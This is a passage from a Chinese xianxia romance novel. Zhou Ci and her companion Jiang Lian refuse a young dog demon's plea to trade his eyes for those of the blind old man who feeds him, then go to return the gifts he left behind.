“你今日也出去了?”
周慈没有接,只是疑惑的看向他。
江敛轻轻的眨了眨眼,眼底下那颗小痣更显得生动,“嗯,出去转了转,正巧看见一老妇人在卖糖葫芦,想着上次夫人馋却没吃到,就买了一串。”
可是她已经吃了一串了诶……
周慈看了看他,又看了看这串糖葫芦,再抬头看了眼他,在他希冀的目光下她终是收下了这串糖葫芦。
算了,再吃一串也不是不行。
见她
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低头乖巧的啃掉那颗糖葫芦,江敛盯着她的发顶轻笑出声,见到那双清凌凌的眼疑惑的看向自己,他又收起笑来。
“没什么,你吃吧。”
“对了夫人,我们什么时候离开天水镇,我好收拾东西。”
周慈吃掉最后一颗糖葫芦,思考了一下便道:“那就后日,你看可以吗?”
“都听夫人安排。”
他眉眼弯弯,少女移开视线不去看,只是轻声说了句:“没有其他事我就先进去了。”
“夫人用膳了吗?”
在她即将关上房间门时,外边人忽然抬了抬声音问道。
“不了,你吃吧。”
说完她便关上房门,少年站在原地看向紧闭的门,脸上的笑意逐渐消散,最后目光阴沉面无表情的离开。
回到房间后他瞧见这一桌子的菜,终是冷笑出声,最后他一人坐在桌前慢条斯理的吃了起来。
还说要同他与往常一样相处。
骗子。
他一口又一口的往嘴里塞,压根不在乎这桌菜到底好不好吃。
本就是为了她做的,既然现在对方不吃,那这桌菜就没什么意义了。
凉风习习,黑夜里万籁寂静,镇子最西边的一家破败的茅草屋,栅栏被悄悄推开,从里边跑出来什么东西,直奔镇子中间去。
正抱着小兽安眠的少女忽然睁开眼来,看向微微摇晃的窗子目光深邃,不知在想什么。
最后也只是闭上眼再次睡去。
如若不是天要塌下来,谁也不能打扰她睡觉。
随着太阳逐渐升起,床榻上鼓起的一小团微微动了动便没了下文。
直到她的手摸到了枕边才察觉出不对劲……
周慈猛的睁开眼,心下一跳,看向了这个卧在自己枕边的狗。
她直接从床榻上弹起,一颗心不断乱跳,看着床榻上这多出来的妖,她稳住心跳没有将对方掀下去。
只是捞起小白迅速下了榻,淡淡的看向还睡得正香的妖。
“你给我起来。”
见它始终没有要醒的意思,周慈上前摇了摇它的身子。
小白狗睁开眼,见到是她尾巴下意识的开始摇起来。
“行了,能不能变成人形。”
周慈往后退了一步,小白也早就被她收到了乾坤袋里。
听到这话床榻上的妖反应了一会儿,才变出人身来,只是那耳朵还露在外边。
“你耳朵……”
他眨了眨眼,抬手摸了一把自己的耳朵摇摇头老实说道:“收不起来。”
“那你妖龄还挺小的,连化形都还没掌握完全。”
少女点点头,一点面子也没给他留。
“谁说的!小爷我可是一百三十岁了,能做你祖宗了。”
白发少年坐在床榻边大声反驳道,只是那对毛茸茸的耳朵随着他的话音时不时抖一下。
周慈的目光下意识被吸引,直直的看着,忍住想要上手的冲动。
正大声嚷嚷的少年声音逐渐小了下来,一双圆溜溜的眼睛警惕的看向她,眼尾还带上一道白色的尾线。
“噢,你来找我有什么事吗?”
接触到他警惕的目光,周慈轻轻的掐了掐自己的指尖,克制的挪开视线。
可它的耳朵看起来毛茸茸的,还在动诶……
23. 给你揉脑袋和耳朵
“我感觉你想摸我耳朵。”,他双手按住自己的耳朵,滴溜溜的圆眼还警惕的看向她。
“你感觉错了。”
周慈背过身不去看他,声音平静,只是手上不知何时多了一个暖手炉,她一下一下的抚摸那圈毛茸茸。
门口传来的敲门声让她一愣,她下意识的看了眼床榻,少年又变回那条小白狗,端坐在床榻上。
“倒是机灵。”
听到夸奖,那尾巴又下意识的摇起来,就连脑袋也微微扬起,周慈没忍住轻笑,走过去将门打开,就瞧见外边束好发的人。
“夫人,我来送些吃食。”
江敛提着食盒,她眨了眨眼让开身子,等他进去后便将门关上。
进去的第一时间,少年便察觉到不对劲脚步一顿,目光落在床榻上摇尾巴的小狗身上。
他没有说话,只是将食盒里的盘子一一摆放在桌子上,“已经晌午了,夫人应是肚子饿了,快来吃些东西吧。”
周慈点点头,只是还没坐到椅子上那小妖倒是从床榻上跳下来变回人形蹲在那椅子上。
江敛看见屋里多出来的一人,一时间有些错愕,“夫人,这……”
“你别说你没看出他是妖。”
周慈坐在那小妖身边淡声道,眼神直勾勾的其中的一碟糕点。
“看出了,但怕误了夫人事便没说。”
“我?我能有什么事,是这小妖昨夜忽然来我房中,也不知所为何事。”
“可以吃了吗,敬之。”
她直勾勾的看着已经眼馋好久那碟糕点了头也不抬的问道。
听到这话江敛没忍住笑出声来,“本就是专门为夫人做的,想尝便直接尝就是了,无需问我。”
不过一旁的小妖动作更快些,抓起一块糕点塞进口中,好吃的他耳朵一抖一抖的。
“这个糕点不错!那老头儿肯定喜欢!”
他只尝了一块儿,便拿出一个补丁布袋,想要往里边装一些。
“这小妖倒是一点都不怕生。”
江敛眸中的笑意渐散,可话音却依旧是温柔。
眼见着碟子里的糕点只剩下一两块,周慈终是坐不住抬手抓住了他的手腕。
“你再拿就没了。”
她轻抿唇瓣,眉心微蹙,仿佛遇见了什么天大的事。
“那我便不拿了。”
小妖也懂得适可而止,宝贝的将袋子揣在自己的衣襟里。
“你大半夜闯进我屋子到底想做什么?”
“小爷想与你商量一件事。”
一旁听着的江敛笑出声来,放下手中的茶杯看向那一脸天真的小妖,“你可知我们是做什么的?”
“修仙的,小爷当然知道。”
他一脸骄傲,惹得周慈都多看了他好几眼。
江敛紧盯着那只妖,一字一句道:“既然你知晓我们是修仙的,那可知你来寻我们,我们可是会将你灰飞烟灭。”
他摇摇头指了指一旁正在吃糕点的少女,“你们不会的,至少她不会。”
“她可是会买那老头儿好多好多的饼子,肯定不会的。”
“你倒是会想。”
江敛也没有反驳,只是垂眸看着杯中的茶水淡声说了句。
“小爷最近闻到那老头儿快死了,想让他在死之前眼睛好起来,看看他心心念念的东西。”
周慈没有第一时间回答他的问题,反倒是说了句不沾边的话,“你叫什么名字。”
“小爷叫黄岚,怎么样,这名字小爷自己取的,威风吧。”
他顶着一头白发,发间的一对耳朵时不时地抖动一下,满脸骄傲。
“那你知晓如何让他眼睛好起来吗?”
黄岚蹲在椅子上,那爪子又悄悄的摸到那碟糕点处,“他自幼眼盲,自然是用小爷的眼睛换他的了。”
直到自己的手被人用筷子轻轻的敲了一下,他动作一顿,抬眼就看见那男仙笑着盯着自己。
虽是笑着,但他还是莫名觉得有些害怕,又将手老实的收了回去。
“不做。”
周慈头也没抬的便拒绝了,倒是那小妖听见急了,下意识的抓住她的手腕。
“小爷给你银子!”
他将一块碎银拍在桌上。
“不做。”
“那小爷给你揉脑袋和耳朵。”
少女抬眼瞟了眼那抖动的双耳,端着茶杯的手指尖微蜷。
有些心动。
但还是……
“不做。”
“那我……那我把这仙草也给你!这可是小爷费了好大劲才找到的!”
黄岚急得在自己的袋子里翻找,最后将一棵恹恹的草推到她面前。
一双圆溜溜的眼睛就这样直勾勾的盯着她,还带上恳求。
周慈轻叹口气,将这些东西全都重新推到他面前,语气有些语重心长,“你应当知晓不论是修仙还是修妖,都不可插手凡人之事。”
“尤其是沾了因果的事情。”
“不让你承担因果,是小爷与他换眼睛,这因果也是我来承担。”
江敛给身边人布菜,听到这话抬起头静静地看向他,对方的声音越来越小,到最后彻底安静下来。
她慢条斯理的吃完最后一口,身边人手中忽然多了块帕子,替她轻轻擦拭唇角,“可若我帮了你,也要分担这因果。”
周慈转身看向他,少年满脸无辜的看向她,将帕子小心收好,“夫人唇角刚刚沾了东西。”
“下次直接告知我便好。”
听到他的解释,周慈没有多说什么,只是淡淡的撇下一句,重新看向那小妖。
“算小爷求你,你想要什么小爷拼尽全力都会给你弄来。”
黄岚依旧不死心,那双立起来的双耳在此刻也耷拉下来。
“抱歉。”
她只说了两个字,却让那双亮亮的眼睛逐渐黯淡下去,若是此刻他有尾巴,尾巴定然也垂落下来。
“你还是好好修炼莫被人发现了。”
周慈忍不住多说一句,这小妖看着年龄尚小,若是这么早就背上因果……
“小妖,你还未长大,是偷偷从族里跑出来的?”
一旁的江敛倒是忽然来了兴致,开口问道。
黄岚抬眼看向他,眼里重新带上光,耳朵也立了起来,“小爷可是族里认定的下一任族长,届时你们若帮了我,想要什么我都能弄来。”
“怎么样怎么样,有没有反悔?”
顶着他期盼的目光,周慈不为所动摇了摇头。
“你
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们!你们简直就是朽木!”
说罢他便变回原形气冲冲的从门窗上跳了下去没了踪影。
“你的东西!”
她扬声道,窗子轻轻摇晃却再不见那小白狗的身影。
看着桌上这些东西,一时间她脑袋有些疼。
“夫人,这些东西……”
“我给他送回去。”
周慈将那些东西收进另一个乾坤袋中,与他擦肩而过。
“我与夫人同去。”
江敛抓住她的手腕,她回过身看了一眼,点了点头。
大街上熙熙攘攘,少年跟着她来到了那老伯每日都摆摊的地方。
可今日倒是奇怪,老伯竟然不在。
周慈轻蹙眉心,江敛心下了然在一旁道:“夫人可是要寻那小妖?”
“他沾染了我的花粉,便让我带路吧。”
女孩望着他含笑的眼,顿了顿还是点点头。
一路上两人无言,周慈时不时地看向身侧人,或许是次数太频繁,在她再一次看向对方时,与那双眼相撞。
江敛率先笑出声来,浓密的眼睫在他眼下倒映出一小片阴影,“夫人有话想和我说吗?”
她回过神来,有些僵硬地移开眼神,看着地面上的小石子轻声道:“黄岚是妖。”
“嗯,我知晓。”
“你不想抓他吗?”
问出这句话时,周慈抬起眼与他目光相触,这次她没有闪躲,只想知道个答案。
“人分好人,妖自然也分好妖,况且那小妖年龄尚小,也害不了人。”
女孩紧盯着他的脸,似在分辨他说的是真是假,最后却是移开眼轻声道:“你说的对。”
江敛没有错过她那一闪而过的轻勾的唇角,面上温柔更甚。
他知道,自己赌对了。
少年乖巧的跟在她身边,花粉带着两人来到小镇西边的一处茅草房边,周慈站在外边用灵力探了探,直到一抹白摇着尾巴围在老伯的腿边转圈才松了口气。
“阿黄,你昨晚去哪了,怎么这么晚才回来。”
老伯蹲下身,摸索着想要摸到它的脑袋,可小狗却抢先一步将脑袋往他手心上蹭。
他一下又一下从头摸到尾,最后又颤颤巍巍的站起身,那只妖兽就跟在他脚边。
“出去那么久,肯定饿坏了吧,快吃吧。”
老伯将刚熬出来的白米粥盛在它碗里放到地上,不大的破败的院子里,那碗里倒是白生生的米。
小狗没有吃,只是用脑袋蹭了蹭他的腿,尾巴摇的好像快要飞起来了。
他蹲下身来揉了揉它的脑袋,笑道:“你放心,我吃了,快些吃吧,明日去买些肉喂你。”
“那姑娘心善,阿黄,你可得记住人家的样子,我们要报答人家啊。”
小狗回应似的叫唤了两声,接着吃着碗里的白粥,老伯坐在地上,那双无神的眼看着它,满脸慈祥。
“阿黄,你跟着我可是吃苦了。”
‘汪——’
他不再说话,只是伸手揉了揉它的脑袋。
站在栅栏外的少女看在眼里,不知在想什么,只是将那些东西放在原地,站了一会儿便转身离去。
江敛盯着她离开的背影目光幽深,他知道对方开始动摇了。